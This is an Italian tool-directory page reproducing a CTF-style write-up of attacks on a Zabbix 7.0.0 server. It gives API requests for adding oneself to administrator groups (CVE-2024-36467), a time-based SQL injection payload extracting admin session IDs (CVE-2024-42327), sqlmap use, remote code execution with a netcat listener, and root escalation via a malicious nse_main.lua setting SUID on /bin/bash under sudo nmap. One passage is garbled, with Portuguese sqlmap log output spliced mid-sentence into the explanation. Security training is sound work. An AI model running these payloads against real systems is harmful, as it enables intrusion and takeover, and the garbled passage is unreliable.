Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-42327 — analisi cve-2024-42327 | Kitploit
Strumenti/GitHubGitHub/igorbf495/cve-2024-42327
Escalation di PrivilegiRicognizioneAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPost-ExploitCTFPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubigorbf495/cve-2024-42327

CVE-2024-42327

1 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

analisi cve-2024-42327

Vedi Repository

writeup CVE-2024-42327 vulnerabilità zabbix

bersaglio: 10.129.231.176

Informazioni: So che il mio bersaglio è un server zabbix. Ho ricevuto un account utente predefinito per accedere a zabbix: utente matthew password 96qzn0h2e1k3. Questo account ha un utente predefinito, senza gruppi o privilegi aggiuntivi.

Come di consueto, iniziamo con l'enumerazione, faremo una scansione delle porte usando nmap.

image

L'output di nmap ci mostra che la porta predefinita ssh e apache2 sono anch'esse sulla porta predefinita. Abbiamo anche le porte 10051 e 10050 che eseguono qualche servizio zabbix.

Accediamo a zabbix inserendo l'IP nell'URL del browser e sulla porta http predefinita, porta 80.

image

Questa è la schermata di accesso di zabbix, accederò con l'utente che ho ricevuto

image

image

Nel piè di pagina, ho trovato la versione di zabbix:

image

Usando il padre degli asini (Google), ho cercato se esisteva già qualche CVE per questa versione di zabbix

image

Dopo un bel po' di ricerca, ho visto che questa versione è vulnerabile al CVE-2024-42327 che riguarda uno sfruttamento di SQL injection per ottenere dati dal database e scalare privilegi, e al CVE-2024-36467 che permette di cambiare il ruolo utente in superutente abusando di controlli di accesso assenti.

https://nvd.nist.gov/vuln/detail/CVE-2024-36467

https://nvd.nist.gov/vuln/detail/CVE-2024-42327

Nella documentazione di zabbix è spiegato come fare richieste HTTP per chiamare l'API.

image

https://www.zabbix.com/documentation/current/en/manual/api

Ho inviato la richiesta chiamando il metodo apiinfo.version che ci insegna nella documentazione

image

che ci ha restituito il seguente:

{"jsonrpc":"2.0","result":"7.0.0","id":1}

Per il test successivo ho cambiato alcuni parametri in questa richiesta per inviarla di nuovo.

image

In method, ho cambiato da apiinfo.version a user.login e aggiunto i parametri username e password. Anche questo l'ho visto nella documentazione di zabbix.

image

Ci ha restituito un token:

{"jsonrpc":"2.0","result":"9566174b00c9c3ca552abc1a52d670ba","id":1}

Dopo ancora un po' di ricerca, ho deciso di andare nel repository di zabbix su github

https://github.com/zabbix/zabbix

Ho cercato su CUser e trovato un file CUser.php

image

Abbiamo trovato la funzione user.update:

root@kitploit:~
public function update(array $users) {
$this->validateUpdate($users, $db_users);
self::updateForce($users, $db_users);
return ['userids' => array_column($users, 'userid')];
}

Non ho trovato alcuna verifica di autorizzazione, quindi ho deciso di cambiare la mia funzione in una funzione di superutente, sono tornato alla richiesta e ho apportato le modifiche al payload.

image

Mi ha restituito un errore con un messaggio di invalid params.

Dopo un'altra lunga analisi del codice, abbiamo trovato questa funzione:

root@kitploit:~
/**
* Additional check to exclude an opportunity to deactivate himself.
*
* @param array $users
* @param array $users[]['usrgrps'] (optional)
*
From this snippet, we understand that we cannot change our roles because our role is checked
from extracting our data from the API token, and verifying against the database if we are that user.
But following the code we see that usrgrps has no validation at all, and therefore can be abused
to add ourselves into multiple groups at once. As long as the group is not disabled and the group
allows GUI access we can abuse this to change our current role with the following command:
User ID 3 is matthew , User group 7 is the Zabbix administrators group and user group 13 is the
Internal group which both hold unrestrictive privileges. The response indicates that the change
was successful:
* @throws APIException
*/
private function checkHimself(array $users) {
foreach ($users as $user) {
if (bccomp($user['userid'], self::$userData['userid']) == 0) {
if (array_key_exists('roleid', $user) && $user['roleid'] !=
self::$userData['roleid']) {
self::exception(ZBX_API_ERROR_PARAMETERS, _('User cannot change
own role.'));
}
if (array_key_exists('usrgrps', $user)) {
$db_usrgrps = DB::select('usrgrp', [
'output' => ['gui_access', 'users_status'],
'usrgrpids' => zbx_objectValues($user['usrgrps'], 'usrgrpid')
]);
foreach ($db_usrgrps as $db_usrgrp) {
if ($db_usrgrp['gui_access'] == GROUP_GUI_ACCESS_DISABLED
|| $db_usrgrp['users_status'] ==
GROUP_STATUS_DISABLED) {
self::exception(ZBX_API_ERROR_PARAMETERS,
_('User cannot add himself to a disabled group or a
group with disabled GUI access.')
);
}
}
}
break;
}
}
}

Secondo questo snippet, non possiamo cambiare i nostri ruoli perché il nostro ruolo viene verificato estraendo i nostri dati dal token API e verificando nel database se siamo quell'utente. Ma analizzando il codice, vediamo che usrgrps non ha alcuna validazione e per questa mancanza di validazione, può essere abusato per aggiungerci a più gruppi contemporaneamente. Non c'è alcuna verifica per impedire a un utente di aggiungersi a gruppi a cui non dovrebbe avere accesso.

Proviamo a scalare privilegi per la mancanza di questa validazione, ho modificato il payload e inviato di nuovo la richiesta

image

userid 3 si riferisce all'id dell'utente matthew, usrgrps contiene una lista di ID di gruppo: 13 che è un gruppo interno e 7 che è il gruppo zabbix administrators. La nostra risposta dal server conferma il successo dell'operazione:

root@kitploit:~
{"jsonrpc":"2.0","result":{"userids":["3"]},"id":1}

Ora possiamo estrarre i gruppi di utenti del nostro utente corrente. Modifichiamo la richiesta e inviamo di nuovo.

image

Verificando la risposta, vediamo che l'utente con ID 3 è nei gruppi di amministratori Interno e Zabbix.

root@kitploit:~
{"jsonrpc":"2.0","result":[{"userid":"1","usrgrps":
[{"usrgrpid":"7","name":"Zabbix administrators"},
{"usrgrpid":"13","name":"Internal"}]},{"userid":"2","usrgrps":
[{"usrgrpid":"8","name":"Guests"}]},{"userid":"3","usrgrps":
[{"usrgrpid":"7","name":"Zabbix administrators"},
{"usrgrpid":"13","name":"Internal"}]}],"id":1}

In uno scenario in cui un Gruppo di Host valido è stato assegnato al gruppo di amministratori di Zabbix, essi potranno sfruttare la creazione di item per innescare l'esecuzione remota di codice, che sarà affrontata nella prossima CVE.

esplorando CVE-2024-42327

Analizzando nuovamente il codice sorgente nella classe CUser, abbiamo esaminato la funzione user.get alla riga 68. La riga 108 contiene un controllo con il seguente codice:

root@kitploit:~
// permission check
if (self::$userData['type'] != USER_TYPE_SUPER_ADMIN) {
if (!$options['editable']) {
$sqlParts['from']['users_groups'] = 'users_groups ug';
$sqlParts['where']['uug'] = 'u.userid=ug.userid';
$sqlParts['where'][] = 'ug.usrgrpid IN ('.
' SELECT uug.usrgrpid'.
' FROM users_groups uug'.
' WHERE uug.userid='.self::$userData['userid'].
')';
}
else {
$sqlParts['where'][] = 'u.userid='.self::$userData['userid'];
}
}

Da questo codice, se l'opzione editabile viene fornita nella richiesta all'API, invece di validare il gruppo utenti, il controllo convaliderà solo se l'ID utente corrente corrisponde all'utente corrente, ignorando così i permessi quando si usa la funzione user.get. Alla riga 234, viene fatta una chiamata a addRelatedObjects, che è la funzione vulnerabile soggetta a SQL injection. Analizzando la funzione addRelatedObject alla riga 2969, possiamo vedere che la maggior parte delle istruzioni SQL sembrano sicure, fino ad arrivare alla riga 3041.

root@kitploit:~
// adding user role
if ($options['selectRole'] !== null && $options['selectRole'] !==
API_OUTPUT_COUNT) {
if ($options['selectRole'] === API_OUTPUT_EXTEND) {
$options['selectRole'] = ['roleid', 'name', 'type', 'readonly'];
}
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.',
$options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
foreach ($result as $userid => $user) {
$result[$userid]['role'] = [];
}
while ($db_role = DBfetch($db_roles)) {
$userid = $db_role['userid'];
unset($db_role['userid']);
$result[$userid]['role'] = $db_role;
}
}
return $result;

In questo blocco, se l'opzione selectRole viene specificata, viene effettuata una chiamata non sicura alla funzione DBSelect senza sanificare gli input dell'utente. Ciò risulta in iniezioni SQL basate sul tempo e Boolean Blind.

Per testare questo, abbiamo preso un payload da questo link e verificato se abbiamo un punto di iniezione riuscito nei parametri selectRole.

image

Abbiamo ottenuto un successo e il bersaglio dorme per 5 secondi.

root@kitploit:~
{"jsonrpc":"2.0","result":[{"userid":"3","username":"matthew","role":
{"roleid":"1",""r.name and (SELECT 1 FROM (SELECT SLEEP(5))A)":"0"}}],"id":1}
real 5.12s
user 0.00s
sys 0.01s
cpu 0%

utilizzando Charles Proxy abbiamo intercettato la richiesta e salvato in un file con la seguente richiesta:

image

Ora, usando SQLMap, abbiamo tentato di identificare possibili vulnerabilità ed estrarre dati dal database:

image

dopo un po' di tempo, abbiamo ottenuto il seguente risultato:

root@kitploit:~
available databases [2]:
[*] information_schema
[*] zabbix

Secondo l'output, abbiamo ottenuto con successo i nomi del database sfruttando l'iniezione SQL basata sul tempo.

Ora proviamo la RCE (esecuzione di codice remoto)

Possiamo utilizzare agenti mal configurati per ottenere l'esecuzione remota di codice. Per farlo dall'iniezione SQL basata sul tempo, dobbiamo estrarre la tabella delle sessioni nel database per vedere se l'utente Admin è stato autenticato. Sfortunatamente, essendo un attacco basato sul tempo, potrebbe richiedere un po', quindi ho incluso uno script multithread che estrarrà la sessione dell'amministratore più velocemente per un uso successivo.

il payload è diventato così:

image

Questa è un'iniezione SQL annidata basata sul tempo, dove iniettiamo il nostro payload nel parametro name, aggiungendo AND per concatenare la condizione.

root@kitploit:~
SELECT * FROM (SELECT(SLEEP(...)))BEEF

Usiamo una condizione SELECT esterna che racchiude la condizione SLEEP in una subquery etichettata come BEEF.

root@kitploit:~
SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE
userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0,
{TRUE_TIME})))

La condizione SLEEP prende il valore TRUE_TIME di 1 secondo in questo script e recupera la sessionid di un account amministratore attivo che è stato autenticato sul sito o API. La condizione SELECT sopra recupera il primo risultato all'indice (ROW) 0 che è racchiuso in una condizione MID. Usiamo la condizione MID per estrarre il carattere in una posizione specifica all'interno della sessionid che viene incrementata e racchiusa in una condizione ORD. La condizione ORD converte il carattere estratto in valori ASCII per il confronto ed è racchiusa in una condizione IF. La condizione IF [17:26:03] [INFO] estendendo automaticamente intervalos para injeção de consulta UNION teste de técnica, pois há pelo menos outra técnica (potencial) encontrada [17:26:04] [INFO] verificando se o ponto de injeção no parâmetro POST (personalizado) '#1*' é um falso positivo O parâmetro POST (personalizado) '#1*' é vulnerável. Você quer continuar testando os outros (se houver)? [s/N] n sqlmap identificou os seguintes pontos de injeção com um total de 77 solicitações HTTP(s): bancos de dados disponíveis [2]: [] information_schema [] zabbix name AND (SELECT * FROM (SELECT(SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME})))))BEEF) SELECT * FROM (SELECT(SLEEP(...)))BEEF SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME}))) verifica se il carattere estratto corrisponde al carattere ASCII previsto (ord(char)). Se la condizione è soddisfatta e la condizione SLEEP viene attivata, allora identifichiamo il carattere corretto e possiamo estrarre la sessionid di 32 caratteri.

Ho fatto uno script in Python e l'ho eseguito.

image

image

Dopo aver eseguito lo script, vediamo che abbiamo ottenuto con successo la sessione di amministratore in soli 30 secondi.

image

Usando il token API dell'utente Admin, possiamo procedere a creare un item e poi attivarlo tramite un task. Per prima cosa, dobbiamo creare l'item, ma dobbiamo ottenere gli ID host correnti insieme ai loro ID di interfaccia.

image

abbiamo avuto la risposta:

root@kitploit:~
{"jsonrpc":"2.0","result":[{"hostid":"10084","host":"Zabbix server","interfaces":[{"interfaceid":"1"}]}],"id":1}

Ora possiamo creare un item con il seguente payload:

image

Prima di inviare il payload, abbiamo configurato un listener nc sulla porta 4448 e aspettato qualche secondo.

image

Ora è il momento di inviare il payload

image

Ha funzionato, il task è stato creato con il nostro payload malevolo e abbiamo ottenuto una RCE (esecuzione di codice remoto), ora abbiamo accesso al server.

image

Ora che abbiamo accesso al server, passiamo all'escalation dei privilegi, proviamo a ottenere accesso root al server.

Poiché siamo l'utente zabbix, verifichiamo se possiamo eseguire qualche demone (programma) con permessi sudo:

image

Vediamo che possiamo eseguire /usr/bin/nmap senza restrizioni. Dopo un po' di ricerca su internet, ho trovato il progetto GTFOBins. GTFOBins è un repository che elenca binari presenti su sistemi Unix/Linux che possono essere usati in modo creativo per escalation di privilegi, evasioni da ambienti ristretti (come chroot o container) ed esecuzione di comandi malevoli.

image

https://gtfobins.github.io/gtfobins/nmap/#sudo

Proviamo a usare l'escape sudo di gtfobins.

image

Sembra che Nmap sia protetto da uno script wrapper, un ulteriore strato di protezione implementato per limitare l'uso di opzioni potenzialmente sfruttabili in Nmap. Proviamo a leggere il file /usr/bin/nmap. Apriamolo usando l'editor di testo nano e analizziamo questo file.

image

Dopo molta ricerca, ho visto che tutti gli escape di GTFOBins sono inutili in questo scenario. Hanno implementato un wrapper per proteggere Nmap da metodi comuni di escalation dei privilegi. Sono rimasto senza opzioni e ho letto la libreria di nmap.

Dopo un bel po' di lettura ho trovato qualcosa di interessante, l'opzione --datadir.

https://nmap.org/book/data-files-replacing-data-files.html

root@kitploit:~
--datadir <dirname>: Specify custom Nmap data file location

Questa opzione permette di specificare una directory dati dove script predefiniti e altri elementi essenziali di nmap sono memorizzati, il valore predefinito in questo caso è /usr/share/nmap. Vediamo i permessi di questo file:

image

Ricercando su questi file, ho visto che il file nse_main.lua è il file di script predefinito che può essere attivato con il parametro -sC, è il file principale di script del Nmap Scripting Engine (NSE). Contiene funzioni che vengono eseguite quando Nmap viene usato con l'opzione -sC (scansione con script predefiniti). Creando uno script malevolo con questo nome, è possibile far sì che Nmap lo esegua automaticamente. Per sfruttare questo, creiamo un nuovo file in /tmp/nse_main.lua con os.execute("chmod 4755 /bin/bash").

Ho creato il file nse_main.lua contenente al suo interno il comando os.execute("chmod 4755 /bin/bash").

4755: Imposta il SUID (Set User ID) sul binario /bin/bash. Ciò permette a qualsiasi utente che esegue /bin/bash di avere gli stessi privilegi del proprietario del file, che è root.

image

image

Quando scansioniamo localhost con -sC abilitato, impostiamo /bin/bash a SUID e generiamo una shell con l'UID effettivo dell'utente root.

image

--datadir=/tmp: Fa sì che Nmap cerchi i suoi file di configurazione e script nella directory /tmp. Questo include lo script malevolo nse_main.lua.

-sC: Attiva l'esecuzione di script predefiniti, incluso lo script malevolo che abbiamo appena creato.

localhost: Fa sì che Nmap esegua la scansione sul sistema stesso.

Lo script nse_main.lua viene eseguito da Nmap con permessi di root (perché il comando è stato eseguito con sudo)

image

Con il SUID attivato, possiamo eseguire: /bin/bash -p

image

-p: Preserva il bit SUID ed esegue bash con i privilegi del proprietario (root).

image

uid=114: Identità dell'utente zabbix. euid=0: Effettivamente operante come root.

Ora abbiamo ottenuto privilegi root.

Scarica lo strumento